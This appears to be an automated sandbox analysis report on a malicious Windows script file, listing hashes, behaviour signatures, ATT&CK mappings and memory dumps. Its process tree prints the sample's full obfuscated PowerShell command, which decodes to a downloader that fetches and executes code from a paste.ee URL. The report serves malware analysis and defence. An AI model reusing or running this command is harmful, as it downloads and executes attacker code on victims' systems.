31b128f2442aa4c58503cb299f8ecf391119a3104aef762537061182c95537ad

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-09-2024 01:27

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General

Target

31b128f2442aa4c58503cb299f8ecf391119a3104aef762537061182c95537ad.wsf
Size

3KB
MD5

a1373c64ddc49fd6affb0438cfc8221f
SHA1

d3ae82986edcbb76a81bfe8db65ed41a59624ec1
SHA256

31b128f2442aa4c58503cb299f8ecf391119a3104aef762537061182c95537ad
SHA512

e67352eba46223b8497bb4e1d029c8c06542b8491dde978ca10b009529e7fa37298e8c5bcf6e02769f2dd7857df61c404a51c9f8e06c99e8e24c53c418c97b48

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2784	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2784	powershell.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2784	2644	WScript.exe	30
PID 2644 wrote to memory of 2784	2644	WScript.exe	30
PID 2644 wrote to memory of 2784	2644	WScript.exe	30
PID 2784 wrote to memory of 2700	2784	powershell.exe	32
PID 2784 wrote to memory of 2700	2784	powershell.exe	32
PID 2784 wrote to memory of 2700	2784	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31b128f2442aa4c58503cb299f8ecf391119a3104aef762537061182c95537ad.wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ReDrO = ((24, 52,'3d',27, 49, 65 , 58 ,28, '4e' ,65, 27 ,'3b' , 24, 52,45 ,20 , '3d' , 20 ,24,52 ,'2b',27,57 , '2d','4f' , 42 , '4a', 27 , '3b' , 24 , 52, 45,44 , 20 , '3d',20, 24 , 52, 45 ,'2b' , 27, 65 , 43 ,54 , 20,'4e',65 ,54 , '2e' ,57, 27 ,'3b',24 ,50, 41,43,'3d',27, 65 , 42,43, '4c' , 27 , '3b', 24 ,78 ,78, 20,'3d' ,20,24, 50,41,43,'2b', 27, 49, 65, '4e' , 27, '3b',24, 52, '4f',20, '3d' ,20 ,24,78, 78, '2b' , 27 ,54 , 29 ,'2e',44 ,'4f', 57, '4e' , '4c' ,'4f' ,27,'3b' ,24 , '7a','7a' , '3d' , 27 , '4f',40,30,28,26,28 , 27 , 27 ,68 , 74,74, 70 ,73,'3a','2f','2f',70, 61,73,74, 65, '2e' ,65, 65 , '2f' , 72 ,'2f', 74 ,75,47 , 33 , 72 ,'2f' , 30 ,27, 27,29 ,27,'2e',52,65 , 50, '4c' , 41 , 43 ,65,28 , 27 ,'4f',40 , 30 , 28, 26,27, '2c' , 27 ,41,44,53,54, 52 ,49 , '4e',47 ,27,29 ,'3b' ,69,65 , 78, 28 , 24, 52 , 45 , 44,'2b' , 24, 52,'4f' ,'2b',24, '7a','7a', 29 ) | % { ( [cHar]([CONVeRT]::TOint16(( [strinG]$_ ) ,16))) })-jOIN'' |&( $env:cOmspeC[4,15,25]-jOIN'') ; powershell $ReDrO"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
afef18a0d6675009608de7727b22b431

SHA1
3cadc882af1f9c51463e27f64001150878ebf024

SHA256
3c8d785034e937d0b022edea0bac0c4ddde8bae0029e2b989805fb80e3c94f98

SHA512
5201e02ad541990e3e1842956291c04f13b06f1e15db682a1b4504b55a6515a00d5df63f873060a774b1358ae208f9dfaa7b64f905ce771bb06de399db15f1d0

Download Submit
memory/2784-4-0x000007FEF51CE000-0x000007FEF51CF000-memory.dmp

Filesize
4KB

Download
memory/2784-5-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2784-7-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2784-8-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-9-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-10-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-16-0x000007FEF51CE000-0x000007FEF51CF000-memory.dmp

Filesize
4KB

Download
memory/2784-17-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

Filesize
9.6MB

Download